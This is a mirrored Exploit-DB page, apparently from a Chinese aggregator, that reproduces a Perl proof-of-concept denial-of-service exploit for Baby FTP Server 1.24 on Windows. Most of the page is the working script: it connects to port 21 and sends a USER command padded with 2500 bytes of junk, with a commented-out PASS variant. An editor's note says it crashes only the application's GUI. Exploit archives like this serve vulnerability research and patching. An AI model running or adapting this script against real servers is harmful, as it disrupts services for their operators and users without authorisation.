Baby FTP Server 1.24 – Denial of Service (1)

• Exploit Database
• 73 阅读

• 作者： Chako
  日期： 2013-06-26
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/26450/

• #!/usr/bin/perl
  #
  # Note from Exploit-DB (thanks @wireghoul): This PoC only crashes the GUI for the application, 
  # not the server itself.
  #
  ###################################################################
  #
  # Exploit Title: Baby FTP Server Version 1.24 Denial Of Service
  # Date: 2013/6/25
  # Exploit Author: Chako
  # Vendor Homepage: http://www.pablosoftwaresolutions.com/html/baby_ftp_server.html
  # Software Download Link: http://www.pablosoftwaresolutions.com/files/babyftp.zip
  # Version: 1.24
  # Tested on: Windows 7
  # Description:
  # A bug discoveredin Baby FTP Server Version 1.24 allows an attacker
  # to cause a Denial of Service using a specially crafted request(USER, PASS...etc).
  #
  ################################################################### 
  use IO::Socket;
   
  $TARGET = "127.0.0.1";
  $PORT = 21;
  $JUNK = "\x41" x 2500;
   
  $PAYLOAD = "USER ".$JUNK."\r\n";
  #$PAYLOAD = "PASS ".$JUNK."\r\n";
  
   
  $SOCKET = IO::Socket::INET->new(Proto=>'TCP', 
  PeerHost=>$TARGET, 
  								PeerPort=>$PORT) or die "Error: $TARGET :$PORT\n";
   
  $SOCKET->send($PAYLOAD);
   
  close($SOCKET);
   
  

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